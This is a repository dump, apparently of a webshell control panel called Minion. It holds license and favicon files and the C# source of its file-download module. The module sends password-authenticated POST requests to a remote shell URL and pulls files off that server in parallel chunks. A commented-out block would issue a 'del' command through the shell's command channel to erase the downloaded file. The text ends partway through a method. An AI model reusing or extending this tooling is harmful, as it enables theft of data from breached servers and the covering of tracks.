Copyright Holder(s) or the Author(s) of the Font\r\nSoftware shall not be used to promote, endorse or advertise any\r\nModified Version, except to acknowledge the contribution(s) of the\r\nCopyright Holder(s) and the Author(s) or with their explicit written\r\npermission.\r\n\r\n5) The Font Software, modified or unmodified, in part or in whole,\r\nmust be distributed entirely under this license, and must not be\r\ndistributed under any other license. The requirement for fonts to\r\nremain under this license does not apply to any document created\r\nusing the Font Software.\r\n\r\nTERMINATION\r\nThis license becomes null and void if any of the above conditions are\r\nnot met.\r\n\r\nDISCLAIMER\r\nTHE FONT SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF\r\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT\r\nOF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE\r\nCOPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\r\nINCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL\r\nDAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\nFROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM\r\nOTHER DEALINGS IN THE FONT SOFTWARE.\r\n"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/images/favicon_package_v0.16/browserconfig.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<browserconfig>\n    <msapplication>\n        <tile>\n            <square150x150logo src=\"/mstile-150x150.png\"/>\n            <TileColor>#da532c</TileColor>\n        </tile>\n    </msapplication>\n</browserconfig>\n"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/images/favicon_package_v0.16/site.webmanifest",
    "content": "{\n    \"name\": \"\",\n    \"short_name\": \"\",\n    \"icons\": [\n        {\n            \"src\": \"/android-chrome-144x144.png\",\n            \"sizes\": \"144x144\",\n            \"type\": \"image/png\"\n        }\n    ],\n    \"theme_color\": \"#ffffff\",\n    \"background_color\": \"#ffffff\",\n    \"display\": \"standalone\"\n}\n"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/lib/Download.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Collections.Specialized;\r\nusing System.IO;\r\nusing System.Linq;\r\nusing System.Net;\r\nusing System.Text;\r\nusing System.Threading;\r\nusing System.Web;\r\n\r\nnamespace Minion.lib\r\n{\r\n    public class Download\r\n    {\r\n        public static string DownloadLocation = @\"C:\\Users\\Public\\Libraries\\DownloadFiles\\\";\r\n\r\n        public enum Method\r\n        {\r\n            DownloadFile = 0,\r\n            DownloadTest = 1,\r\n            DownloadProgress = 2,\r\n            DownloadLoad = 3,\r\n            DownloadGetInfo = 4,\r\n            DownloadPause= 5,\r\n            DownloadClose = 6,\r\n            DownloadChangeStatusToRequested = 7,\r\n            DownloadResume = 8\r\n        };\r\n\r\n        private readonly Main CurrentMain;\r\n\r\n        public Download(Main main)\r\n        {\r\n            CurrentMain = main;\r\n            Method selectedMethod = (Method)CurrentMain.InputData.MethodNumber;\r\n            switch (selectedMethod)\r\n            {\r\n                case Method.DownloadTest:\r\n                    DownloadTest(main.InputData);\r\n                    break;\r\n                case Method.DownloadFile:\r\n                    DownloadFile(main.InputData);\r\n                    break;\r\n                case Method.DownloadProgress:\r\n                    DownloadProgress(main.InputData);//(unpack(t[\"downloadguid\"]), unpack(t[\"lastsize\"]), unpack(t[\"lasttime\"]));\r\n                    break;\r\n                case Method.DownloadLoad:\r\n                    DownloadLoad(main.InputData);\r\n                    break;\r\n                case Method.DownloadGetInfo:\r\n                    DownloadGetInfo(main.InputData);\r\n                    break;\r\n                case Method.DownloadPause:\r\n                    DownloadPause(main.InputData);\r\n                    break;\r\n                case Method.DownloadClose:\r\n                    DownloadClose(main.InputData);\r\n                    break;\r\n                case Method.DownloadChangeStatusToRequested:\r\n                    DownloadChangeStatusToRequested(main.InputData);\r\n                    break;\r\n                case Method.DownloadResume:\r\n                    DownloadResume(main.InputData);\r\n                    break;\r\n            }\r\n        }\r\n\r\n        private static string DownloadTemp = @\"C:\\Users\\Public\\Libraries\\DownloadTemp\\\";\r\n\r\n        private enum DownloadStatus\r\n        {\r\n            NotSet,\r\n            Requested,\r\n            Downloading,\r\n            Pause,\r\n            Error,\r\n            Complete,\r\n            Resuming,\r\n            Building\r\n        }\r\n\r\n        private class DownloadInfo\r\n        {\r\n            public string GUID { get; set; }\r\n            public DownloadStatus Status { get; set; }\r\n            public DateTime CreateDate { get; set; }\r\n            public DateTime? StartDate { get; set; }\r\n            public DateTime RealDate { get; set; }\r\n            public DateTime EndDate { get; set; }\r\n            public long FileSize { get; set; }\r\n            public long StartPosition { get; set; }\r\n            public long EndPosition { get; set; }\r\n            public long CurrentPosition { get; set; }\r\n            public string FileNameTarget { get; set; }\r\n            public string FileNameLocal { get; set; }\r\n            public string FileNameTemp { get; set; }\r\n            public int PartNumber { get; set; }\r\n            public int BufferSize { get; set; }\r\n            public string ErrorMessage { get; set; }\r\n            public string URL { get; set; }\r\n\r\n            //public DownloadInfo(string guid, string url)\r\n            //{\r\n            //    PreInit(guid, url);\r\n            //}\r\n\r\n            public DownloadInfo(string guid, string url, int partNumber)\r\n            {\r\n                Init();\r\n                GUID = guid;\r\n                URL = url;\r\n                PartNumber = partNumber;\r\n\r\n                string tempPath = Utility.CheckDirectory(URL, DownloadTemp);\r\n                FileNameTemp = tempPath + GUID + \"-\" + PartNumber + \"-temp\";\r\n\r\n                // TODO : Why i put this 2 line here ? when file download complete and there is no file there, this 2 lines create an empty file\r\n                //if(!File.Exists(FileNameTemp))\r\n                //    File.WriteAllText(FileNameTemp, \"\");\r\n            }\r\n\r\n            private void Init()\r\n            {\r\n                GUID = string.Empty;\r\n                Status = DownloadStatus.Requested;\r\n                CreateDate = DateTime.Now;\r\n                StartDate = null;\r\n                RealDate = DateTime.Now;\r\n                EndDate = DateTime.Now;\r\n                FileSize = 0;\r\n                StartPosition = 0;\r\n                EndPosition = 0;\r\n                CurrentPosition = 0;\r\n                FileNameTarget = string.Empty;\r\n                FileNameLocal = string.Empty;\r\n                FileNameTemp = string.Empty;\r\n                PartNumber = 0;\r\n                BufferSize = 0;\r\n                ErrorMessage = string.Empty;\r\n                URL = string.Empty;\r\n            }\r\n\r\n            public void Save()\r\n            {\r\n                string text =\r\n                    Status.ToString() + Environment.NewLine +\r\n                    CreateDate.ToString(\"yyyy-MM-dd HH:mm:ss.fff\") + Environment.NewLine +\r\n                    (StartDate?.ToString(\"yyyy-MM-dd HH:mm:ss.fff\") ?? \"-\") + Environment.NewLine +\r\n                    RealDate.ToString(\"yyyy-MM-dd HH:mm:ss.fff\") + Environment.NewLine +\r\n                    EndDate.ToString(\"yyyy-MM-dd HH:mm:ss.fff\") + Environment.NewLine +\r\n                    FileSize.ToString() + Environment.NewLine +\r\n                    StartPosition.ToString() + Environment.NewLine +\r\n                    EndPosition.ToString() + Environment.NewLine +\r\n                    CurrentPosition.ToString() + Environment.NewLine +\r\n                    Utility.ToBase64(FileNameTarget) + Environment.NewLine +\r\n                    Utility.ToBase64(FileNameLocal) + Environment.NewLine +\r\n                    PartNumber.ToString() + Environment.NewLine +\r\n                    BufferSize.ToString() + Environment.NewLine +\r\n                    Utility.ToBase64(ErrorMessage);\r\n\r\n                string tempPath = Utility.CheckDirectory(URL, DownloadTemp);\r\n                EventWaitHandle waitHandle = new EventWaitHandle(true, EventResetMode.AutoReset, this.GUID);\r\n                waitHandle.WaitOne();\r\n                File.WriteAllText(tempPath + GUID + \"-\" + PartNumber, text);\r\n                waitHandle.Set();\r\n            }\r\n\r\n            public void Load()\r\n            {\r\n                string data = string.Empty;\r\n                string tempPath = Utility.CheckDirectory(URL, DownloadTemp);\r\n                EventWaitHandle waitHandle = new EventWaitHandle(true, EventResetMode.AutoReset, GUID);\r\n                waitHandle.WaitOne();\r\n                data = File.ReadAllText(tempPath + GUID + \"-\" + PartNumber);\r\n                waitHandle.Set();\r\n\r\n\r\n                if (!string.IsNullOrEmpty(data))\r\n                {\r\n                    string[] dataSplit = data.Split(new string[] {Environment.NewLine}, StringSplitOptions.None);\r\n                    Status = (DownloadStatus) Enum.Parse(typeof(DownloadStatus), dataSplit[0]);\r\n                    CreateDate = DateTime.Parse(dataSplit[1]);\r\n                    if (dataSplit[2] != \"-\")\r\n                        StartDate = DateTime.Parse(dataSplit[2]);\r\n                    RealDate = DateTime.Parse(dataSplit[3]);\r\n                    EndDate = DateTime.Parse(dataSplit[4]);\r\n                    FileSize = long.Parse(dataSplit[5]);\r\n                    StartPosition = long.Parse(dataSplit[6]);\r\n                    EndPosition = long.Parse(dataSplit[7]);\r\n                    CurrentPosition = long.Parse(dataSplit[8]);\r\n                    FileNameTarget = Utility.FromBase64(dataSplit[9]);\r\n                    FileNameLocal = Utility.FromBase64(dataSplit[10]);\r\n                    PartNumber = int.Parse(dataSplit[11]);\r\n                    BufferSize = int.Parse(dataSplit[12]);\r\n                    ErrorMessage = Utility.FromBase64(dataSplit[13]);\r\n                }\r\n            }\r\n        }\r\n\r\n        private class DownloadTestOutput\r\n        {\r\n            public string DownloadFileName { get; set; }\r\n            public string LocalPath { get; set; }\r\n            public string DownloadGuid { get; set; }\r\n            public long Size { get; set; }\r\n            public string Error { get; set; }\r\n        }\r\n\r\n        private void DownloadTest(Main.InputDataClass inputData)\r\n        {\r\n            DownloadTestOutput output = new DownloadTestOutput();\r\n            try\r\n            {\r\n                string DownloadFileName = inputData.MethodInput[\"DownloadFileName\"].ToString();\r\n                int ConnectionNumber = int.Parse(inputData.MethodInput[\"ConnectionNumber\"].ToString());\r\n                int BufferSize = int.Parse(inputData.MethodInput[\"BufferSize\"].ToString());\r\n\r\n                string ret = CurrentMain.SendRequest(inputData.Url, new NameValueCollection() {\r\n                    { \"m\", ((int)Main.Method.DownloadTest).ToString() },\r\n                    { \"p\", inputData.Password },\r\n                    { \"don\", DownloadFileName},\r\n                });\r\n                if (!ret.ToLower().StartsWith(\"error\"))\r\n                {\r\n                    string filePath = DownloadLocation;\r\n                    filePath = Utility.CheckDirectory(inputData.Url, filePath);\r\n\r\n                    string filename = Path.GetFileName(DownloadFileName);\r\n                    string localPath = filePath + filename;\r\n                    int fileIndex = 1;\r\n                    while (File.Exists(localPath))\r\n                    {\r\n                        localPath = filePath + Path.GetFileNameWithoutExtension(filename) + \"(\" + (fileIndex++) + \")\" + Path.GetExtension(filename);\r\n                    }\r\n\r\n                    //IDManLib.CIDMLinkTransmitterClass idm = new CIDMLinkTransmitterClass();\r\n                    //idm.SendLinkToIDM\r\n                    //    (bstrUrl : url,\r\n                    //    bstrReferer : string.Empty,\r\n                    //    bstrCookies : string.Empty,\r\n                    //    bstrData : string.Format(\"p={0}&m={1}&don={2}\", ToBase64(p), ToBase64(((int)method.downloadDemo).ToString()), t[\"don\"]),\r\n                    //    bstrUser : string.Empty,\r\n                    //    bstrPassword : string.Empty,\r\n                    //    bstrLocalPath : string.Empty,\r\n                    //    bstrLocalFileName : filename,\r\n                    //    lFlags : 2);\r\n\r\n                    long FileSize = long.Parse(ret);\r\n                    long PartSize = FileSize / ConnectionNumber;\r\n                    long ModePart = FileSize % ConnectionNumber;\r\n\r\n                    //Utility.CreateEmptyFile(localPath);\r\n                    // Comment : in new download system, is not necessary to create file in start\r\n                    //using (FileStream fs = new FileStream(localPath, FileMode.CreateNew))\r\n                    //{\r\n                    //    fs.Seek(FileSize - 1, SeekOrigin.Begin);\r\n                    //    fs.WriteByte(0);\r\n                    //}\r\n                    using (FileStream fs = new FileStream(localPath, FileMode.CreateNew)){}\r\n\r\n                    string downloadguid = Guid.NewGuid().ToString();\r\n                    for (int i = 0; i < ConnectionNumber; i++)\r\n                    {\r\n                        DownloadInfo downloadInfo = new DownloadInfo(downloadguid, CurrentMain.InputData.Url, i + 1);\r\n                        downloadInfo.Status = DownloadStatus.Requested;\r\n                        downloadInfo.FileSize = FileSize;\r\n                        downloadInfo.FileNameTarget = DownloadFileName;\r\n                        downloadInfo.FileNameLocal = localPath;\r\n                        downloadInfo.StartPosition = i * PartSize;\r\n                        downloadInfo.EndPosition = downloadInfo.StartPosition + PartSize - 1;\r\n                        if (i == ConnectionNumber - 1)\r\n                            downloadInfo.EndPosition += ModePart;\r\n                        downloadInfo.BufferSize = BufferSize;\r\n                        downloadInfo.Save();\r\n                    }\r\n\r\n                    //string tempPath = Utility.CheckDirectory(inputData.Url, DownloadTemp);\r\n                    //File.AppendAllText(tempPath + downloadguid, string.Empty);\r\n                    //DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Requested, DateTime.Now, 0, 0, string.Empty, downloadFileName);\r\n                    output.DownloadFileName = DownloadFileName;\r\n                    output.LocalPath = localPath;\r\n                    output.DownloadGuid = downloadguid;\r\n                    output.Size = FileSize;\r\n                    //ret = string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"localPath\\\":\\\"{1}\\\",\\\"downloadguid\\\":\\\"{2}\\\",\\\"size\\\":\\\"{3}\\\"}}\", Utility.ToBase64(string.Format(\"File '{0}' is ready for download\", downloadFileName)), Utility.ToBase64(localPath), Utility.ToBase64(downloadguid), ret);\r\n                }\r\n                else\r\n                {\r\n                    output.Error = ret;\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                CurrentMain.ResponseAjax(new Main.ErrorClass(e));\r\n            }\r\n            CurrentMain.ResponseAjax(output);\r\n        }\r\n\r\n\r\n        private class WriteToFileBuffer\r\n        {\r\n            public long Position;\r\n            public byte[] Buffer;\r\n            public int Length;\r\n        }\r\n\r\n        private bool _threadStarted = false;\r\n        private Thread thrWriteToFile;\r\n        private List<WriteToFileBuffer> BufferList;\r\n        private void DownloadWriteToFile(string guid, string url, string filenameLocal, List<int> parts)\r\n        {\r\n\r\n            try\r\n            {\r\n                if (!_threadStarted)\r\n                {\r\n                    _threadStarted = true;\r\n                    string tempPath = Utility.CheckDirectory(url, DownloadTemp);\r\n\r\n                    \r\n                    // TODO: there is a time, that All file done but BufferList is not empty\r\n                    //while (!AllDone(guid, url, parts) || BufferList.Count > 0)\r\n                    while (!AllDone(guid, url, parts))\r\n                    {\r\n                        //try\r\n                        //{\r\n                        //    if (BufferList.Count > 0)\r\n                        //    {\r\n                        //        WriteToFileBuffer temp = BufferList[0];\r\n                        //        BufferList.RemoveAt(0);\r\n\r\n                        //        streamLocal.Position = temp.Position;\r\n                        //        streamLocal.Write(temp.Buffer, 0, temp.Length);\r\n                        //    }\r\n\r\n                        //    // TODO: Carbage Collector is not very well free our space, check this problem late, this cus huge memory use in big files\r\n                        //    // TODO: Not tested\r\n                        //    if (GC.GetTotalMemory(false) > Int32.MaxValue)\r\n                        //        GC.Collect();\r\n                        //}\r\n                        //catch (Exception e)\r\n                        //{\r\n                        //    var errorFileName = tempPath + guid + \"-error\";\r\n                        //    File.WriteAllText(errorFileName, e.ToString());\r\n                        //    break;\r\n\r\n                        //    // TODO: after break in this part, all data in BufferList will lost, we must save that data to files, and wait for all threads to be Error, then exit the thread. and before we resume download again, we must write this data to main file, or we can write this data to main file after break!!!\r\n                        //}\r\n\r\n                        Thread.Sleep(500);\r\n                    }\r\n\r\n                    int countStatusBuilding = 0;\r\n                    int countStatusComplete = 0;\r\n                    foreach (var part in parts)\r\n                    {\r\n                        DownloadInfo info = new DownloadInfo(guid, url, part);\r\n                        info.Load();\r\n                        if(info.Status == DownloadStatus.Building)\r\n                            countStatusBuilding++;\r\n                        else if (info.Status == DownloadStatus.Complete)\r\n                            countStatusComplete++;\r\n                    }\r\n\r\n\r\n                    if (countStatusBuilding + countStatusComplete == parts.Count)\r\n                    {\r\n                        // We must cut the first file, for speed this up\r\n                        DownloadInfo infoPart1 = new DownloadInfo(guid, url, 1);\r\n                        infoPart1.Load();\r\n                        File.Delete(filenameLocal);\r\n                        File.Move(infoPart1.FileNameTemp, filenameLocal);\r\n                        infoPart1.Status = DownloadStatus.Complete;\r\n                        infoPart1.Save();\r\n\r\n                        // TODO: is this async file write ok? is the 4096 buffer size good ?\r\n                        using (FileStream streamLocal = new FileStream(filenameLocal, FileMode.Open,FileAccess.Write /*, FileShare.Write, 2048 * 1024, true*/))\r\n                        {\r\n                            // Set the stream position to the end of the file.        \r\n                            streamLocal.Seek(streamLocal.Length, SeekOrigin.Begin);\r\n\r\n                            for (var i = 1; i < parts.Count; i++)\r\n                            {\r\n                                var info = new DownloadInfo(guid, url, i + 1);\r\n                                info.Load();\r\n                                using (var inputStream = File.OpenRead(info.FileNameTemp))\r\n                                {\r\n                                    // Buffer size can be passed as the second argument.\r\n                                    inputStream.CopyTo(streamLocal);\r\n                                }\r\n\r\n                                File.Delete(info.FileNameTemp);\r\n                                info.Status = DownloadStatus.Complete;\r\n                                info.Save();\r\n                            }\r\n\r\n                            File.WriteAllText(tempPath + guid + \"-complete\", \"\");\r\n                        }\r\n                    }\r\n\r\n                    _threadStarted = false;\r\n                }\r\n\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                _threadStarted = false;\r\n                DownloadInfo dlInfo = new DownloadInfo(guid, url, 1);\r\n                dlInfo.Load();\r\n                dlInfo.Status = DownloadStatus.Error;\r\n                dlInfo.ErrorMessage = e.ToString();\r\n                dlInfo.Save();\r\n            }\r\n        }\r\n\r\n        private void DownLoadFileByWebRequest(DownloadInfo downloadInfo, string method, string password)//(string urlAddress, string localPath, string downloadguid, string startRange, string endRange, string size, bool isSplit, string speed, NameValueCollection postParam)\r\n        {\r\n            var maxTry = 50;\r\n            var thisTry = 0;\r\n            DownloadStatus lastStatus = DownloadStatus.Complete;\r\n            string tempPath = Utility.CheckDirectory(downloadInfo.URL, DownloadTemp);\r\n            string pauseFileName = tempPath + downloadInfo.GUID + \"-pause\";\r\n            string errorFileName = tempPath + downloadInfo.GUID + \"-error\";\r\n\r\n            //EventWaitHandle waitHandle = new EventWaitHandle(true, EventResetMode.AutoReset, downloadInfo.GUID + \"-mainfile\");\r\n\r\n            if (downloadInfo.CurrentPosition == 0)\r\n                downloadInfo.CurrentPosition = downloadInfo.StartPosition;\r\n\r\n            if(BufferList == null)\r\n                BufferList = new List<WriteToFileBuffer>();\r\n\r\n            //long currentPosition = downloadInfo.CurrentPosition;\r\n\r\n\r\n            //while (currentPosition <= downloadInfo.EndPosition)\r\n            while (downloadInfo.CurrentPosition <= downloadInfo.EndPosition && thisTry < maxTry)\r\n            {\r\n                thisTry++;\r\n                try\r\n                {\r\n                    #region [ Make Request Default Values ]\r\n\r\n                    var request = (HttpWebRequest) WebRequest.Create(downloadInfo.URL);\r\n                    request.Timeout = 30000; //8000 Not work\r\n                    request.Method = \"POST\";\r\n                    StringBuilder postBuilder = new StringBuilder();\r\n                    postBuilder.AppendFormat(\"{0}={1}&\", Uri.EscapeDataString(\"m\"),\r\n                        Uri.EscapeDataString(Utility.ToBase64(method)));\r\n                    postBuilder.AppendFormat(\"{0}={1}&\", Uri.EscapeDataString(\"p\"),\r\n                        Uri.EscapeDataString(Utility.ToBase64(password)));\r\n                    postBuilder.AppendFormat(\"{0}={1}\", Uri.EscapeDataString(\"don\"),\r\n                        Uri.EscapeDataString(Utility.ToBase64(downloadInfo.FileNameTarget)));\r\n\r\n                    byte[] postBytes = Encoding.ASCII.GetBytes(postBuilder.ToString());\r\n                    request.ContentLength = postBytes.Length;\r\n                    request.ContentType = \"application/x-www-form-urlencoded\";\r\n\r\n                    #endregion\r\n\r\n                    request.AddRange(downloadInfo.CurrentPosition, downloadInfo.EndPosition);\r\n                    //request.AddRange(currentPosition, downloadInfo.EndPosition);\r\n\r\n                    var stream = request.GetRequestStream();\r\n                    stream.Write(postBytes, 0, postBytes.Length);\r\n                    stream.Close();\r\n                    stream.Dispose();\r\n\r\n                    // TODO: with or without this two line ? test each state\r\n                    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;\r\n                    request.ServicePoint.Expect100Continue = false;\r\n\r\n                    using (HttpWebResponse response = (HttpWebResponse) request.GetResponse())\r\n                    {\r\n\r\n                        using (Stream streamResponse = response.GetResponseStream())\r\n                        {\r\n                            //if (totalGet > 0)\r\n                            //{\r\n                            //os.Seek(totalGet, SeekOrigin.Begin);\r\n                            //}\r\n\r\n                            //waitHandle.WaitOne();\r\n                            using (FileStream streamLocal = new FileStream(downloadInfo.FileNameTemp, FileMode.OpenOrCreate,\r\n                                FileAccess.Write/*, FileShare.Write, 128 * 1024, true*/))\r\n                            {\r\n                                //streamLocal.Position = downloadInfo.CurrentPosition;\r\n                                streamLocal.Position = downloadInfo.CurrentPosition - downloadInfo.StartPosition;\r\n\r\n                                //byte[] buff = new byte[downloadInfo.BufferSize * 1024];\r\n                                byte[] buff = new byte[4096 * 1024]; // 4MB\r\n                                \r\n                                int readLength = 0;\r\n\r\n                                // COMMENT : if we dont put this (downloadInfo.CurrentPosition <= downloadInfo.EndPosition), after all byte are done we read from stream for no resone one time\r\n                                while ((downloadInfo.CurrentPosition <= downloadInfo.EndPosition) &&\r\n                                       (readLength = streamResponse.Read(buff, 0, buff.Length)) > 0)\r\n                                {\r\n                                    thisTry = 0;\r\n                                    //WriteToFileBuffer temp = new WriteToFileBuffer\r\n                                    //{\r\n                                    //    Position = downloadInfo.CurrentPosition,\r\n                                    //    Length = readLength\r\n                                    //};\r\n\r\n                                    //temp.Buffer = new byte[temp.Length];\r\n                                    //Buffer.BlockCopy(buff, 0, temp.Buffer, 0, temp.Length);\r\n                                    //BufferList.Add(temp);\r\n\r\n                                    streamLocal.Write(buff, 0, readLength);\r\n                                    //streamLocal.BeginWrite(buff, 0, readLength, null, null);\r\n                                    streamLocal.Flush();\r\n\r\n                                    if (downloadInfo.StartDate == null)\r\n                                        downloadInfo.StartDate = DateTime.Now;\r\n                                    downloadInfo.CurrentPosition += readLength;\r\n                                    //currentPosition += readLength;\r\n                                    lastStatus = DownloadStatus.Downloading;\r\n                                    downloadInfo.Status = lastStatus;\r\n                                    downloadInfo.Save();\r\n                                    if (File.Exists(pauseFileName) || File.Exists(errorFileName))\r\n                                    {\r\n                                        break;\r\n                                    }\r\n                                }\r\n\r\n                            }\r\n\r\n                            //waitHandle.Set();\r\n                        }\r\n                    }\r\n\r\n                    if (File.Exists(pauseFileName))\r\n                    {\r\n                        lastStatus = DownloadStatus.Pause;\r\n                        break;\r\n                    }\r\n\r\n                    if (File.Exists(errorFileName))\r\n                    {\r\n                        lastStatus = DownloadStatus.Error;\r\n                        downloadInfo.ErrorMessage = string.Empty;\r\n                        break;\r\n                    }\r\n\r\n                }\r\n                catch (Exception e)\r\n                {\r\n                    // TODO: we must fix this part, manage error types\r\n\r\n                    lastStatus = DownloadStatus.Error;\r\n                    downloadInfo.ErrorMessage = e.ToString();\r\n                }\r\n\r\n                Thread.Sleep(100);\r\n            }\r\n\r\n            if (thisTry >= maxTry)\r\n            {\r\n                lastStatus = DownloadStatus.Error;\r\n                downloadInfo.ErrorMessage = \"Maximum Try for Connection to server is hit (\"+maxTry+\" times)\";\r\n            }\r\n\r\n            if (lastStatus == DownloadStatus.Downloading)\r\n                lastStatus = DownloadStatus.Building;\r\n\r\n            downloadInfo.Status = lastStatus;\r\n            downloadInfo.EndDate = DateTime.Now;\r\n            downloadInfo.Save();\r\n\r\n            //thrWriteToFile.Join();\r\n            //Thread.Sleep(60000);\r\n        }\r\n\r\n\r\n        //void DownloadFile(string don, string isdelete, string localPath, string downloadguid, string startRange, string endRange, string size, string isDownlaodWithIDM, string isSplitDownload, string speed)\r\n        private void DownloadFile(Main.InputDataClass inputData)\r\n        {\r\n            try\r\n            {\r\n                var downloadGuid = inputData.MethodInput[\"DownloadGuid\"].ToString();\r\n                var fileNameLocal = string.Empty;\r\n\r\n                var isDelete = false;\r\n                if (inputData.MethodInput.ContainsKey(\"IsDelete\"))\r\n                    isDelete = bool.Parse(inputData.MethodInput[\"IsDelete\"].ToString());\r\n\r\n                //string m = ((int)method.downloadDemo).ToString();\r\n                //if (isSplitDownload.ToLower() == \"true\")\r\n                //{\r\n                //    isSplit = true;\r\n                //    m = ((int)method.download).ToString();\r\n                //}\r\n\r\n                string method = ((int)Main.Method.DownloadDemo).ToString();\r\n                List<int> parts = GetDownloadParts(downloadGuid, inputData.Url);\r\n                foreach (int part in parts)\r\n                {\r\n                    DownloadInfo downloadInfo = new DownloadInfo(downloadGuid, inputData.Url, part);\r\n                    downloadInfo.Load();\r\n\r\n                    fileNameLocal = downloadInfo.FileNameLocal;\r\n\r\n                    //////////////////////////////// this Threads must be managed\r\n                    Thread thr = new Thread(() => DownLoadFileByWebRequest(downloadInfo, method, inputData.Password));\r\n                    thr.Start();\r\n                }\r\n\r\n                Thread ttt = new Thread(() => DownloadWriteToFile(downloadGuid, inputData.Url, fileNameLocal, parts));\r\n                ttt.Start();\r\n\r\n                /*ret = */\r\n                //DownLoadFileByWebRequest(url, localPath, downloadguid, startRange, endRange, size, isSplit, speed, new NameValueCollection() {\r\n                //    { \"m\", m},\r\n                //    { \"p\", p},\r\n                //    { \"don\", don}\r\n                //});\r\n\r\n                //if (isdelete.ToLower() == \"true\")\r\n                //{\r\n                //    string cmd = \"del \\\"\" + don + \"\\\" 2>&1\";\r\n                //    ret += Environment.NewLine + SendRequest(url, new NameValueCollection() {\r\n                //        { \"m\", ToBase64(((int)method.command).ToString())},\r\n                //        { \"p\", ToBase64(p)},\r\n                //        { \"cmd\", ToBase64(cmd)}\r\n                //    });\r\n                //}\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                CurrentMain.ResponseAjax(new Main.ErrorClass(e));\r\n            }\r\n            CurrentMain.ResponseAjax(\"ok\");\r\n        }\r\n\r\n        private class DownloadProgressInput\r\n        {\r\n            public string DownloadGuid { get; set; }\r\n            public List<DownloadProgressPart> Parts { get; set; }\r\n        }\r\n\r\n        private class DownloadProgressPart\r\n        {\r\n            public int PartNumber { get; set; }\r\n            public long TotalSize { get; set; }\r\n            public long CurrentGet { get; set; }\r\n            public double Percent { get; set; }\r\n            public double Speed { get; set; }\r\n            public long LastSize { get; set; }\r\n            public string LastTime { get; set; }\r\n\r\n        }\r\n        private class DownloadProgressOutput\r\n        {\r\n            public DownloadStatus Status { get; set; }\r\n            public string StatusString { get; set; }\r\n            public double Percent { get; set; }\r\n            public long TotalSize { get; set; }\r\n            public long CurrentGet { get; set; }\r\n            public string Size { get; set; }\r\n            public double Speed { get; set; }\r\n            public string SpeedString { get; set; }\r\n            public string Remain { get; set; }\r\n            public DateTime? StartDate { get; set; }\r\n            public DateTime? EndDate { get; set; }\r\n            public string StartTimeString { get; set; }\r\n            public string TimeElapsed { get; set; }\r\n            public string SpeedAvg { get; set; }\r\n            public string RemainAvg { get; set; }\r\n            public string FileSize { get; set; }\r\n            public string ErrorMessage { get; set; }\r\n            public List<DownloadProgressPart> Parts { get; set; }\r\n            public double BuildingPercent { get; set; }\r\n        }\r\n        private void DownloadProgress(Main.InputDataClass inputData)\r\n        {\r\n\r\n            // TODO: Speed and Time Average will be corupted after resume time !? we must place a ActualTime and calculate that in resume time, ActualTime = Now - (EndTime - StartTime)\r\n            DownloadProgressOutput output = new DownloadProgressOutput();\r\n\r\n            try\r\n            {\r\n                DateTime Now = DateTime.Now;\r\n                DownloadProgressInput input = Utility.GetObject<DownloadProgressInput>(inputData.MethodInput);\r\n                //string DownloadGuid = inputData.MethodInput[\"DownloadGuid\"].ToString();\r\n\r\n                if (inputData.MethodInput.ContainsKey(\"Parts\") && inputData.MethodInput[\"Parts\"] != null)\r\n                {\r\n                    input.Parts = new List<DownloadProgressPart>();\r\n                    var objParts = (object[])inputData.MethodInput[\"Parts\"];\r\n                    foreach (var t in objParts)\r\n                    {\r\n                        Dictionary<string, object> dic = (Dictionary<string, object>)t;\r\n                        DownloadProgressPart part = new DownloadProgressPart();\r\n                        if (dic[\"PartNumber\"] != null)\r\n                            part.PartNumber = int.Parse(dic[\"PartNumber\"].ToString());\r\n                        if (dic[\"TotalSize\"] != null)\r\n                            part.TotalSize = long.Parse(dic[\"TotalSize\"].ToString());\r\n                        if (dic[\"CurrentGet\"] != null)\r\n                            part.CurrentGet = long.Parse(dic[\"CurrentGet\"].ToString());\r\n                        if (dic[\"Percent\"] != null)\r\n                            part.Percent = double.Parse(dic[\"Percent\"].ToString());\r\n                        if (dic[\"Speed\"] != null)\r\n                            part.Speed = double.Parse(dic[\"Speed\"].ToString());\r\n                        if (dic[\"LastSize\"] != null)\r\n                            part.LastSize = long.Parse(dic[\"LastSize\"].ToString());\r\n                        if (dic[\"LastTime\"] != null)\r\n                            part.LastTime = dic[\"LastTime\"].ToString();\r\n                        input.Parts.Add(part);\r\n                    }\r\n                }\r\n\r\n                //long LastSize = long.Parse(inputData.MethodInput[\"LastSize\"].ToString());\r\n                //DateTime LastTime = Now;\r\n                //string LastTimeString = inputData.MethodInput[\"LastTime\"].ToString();\r\n                //if (LastTimeString != \"0\")\r\n                //    LastTime = DateTime.Parse(inputData.MethodInput[\"LastTime\"].ToString());\r\n\r\n                List<int> parts = GetDownloadParts(input.DownloadGuid, inputData.Url);\r\n\r\n                output.Status = DownloadStatus.NotSet;\r\n                output.Percent = 0;\r\n                output.Size = \"-\";\r\n                output.SpeedString = \"-\";\r\n                output.Remain = \"-\";\r\n                output.StartTimeString = \"-\";\r\n                output.TimeElapsed = \"-\";\r\n                output.SpeedAvg = \"-\";\r\n                output.RemainAvg = \"-\";\r\n                output.ErrorMessage = \"-\";\r\n                output.Parts = new List<DownloadProgressPart>();\r\n                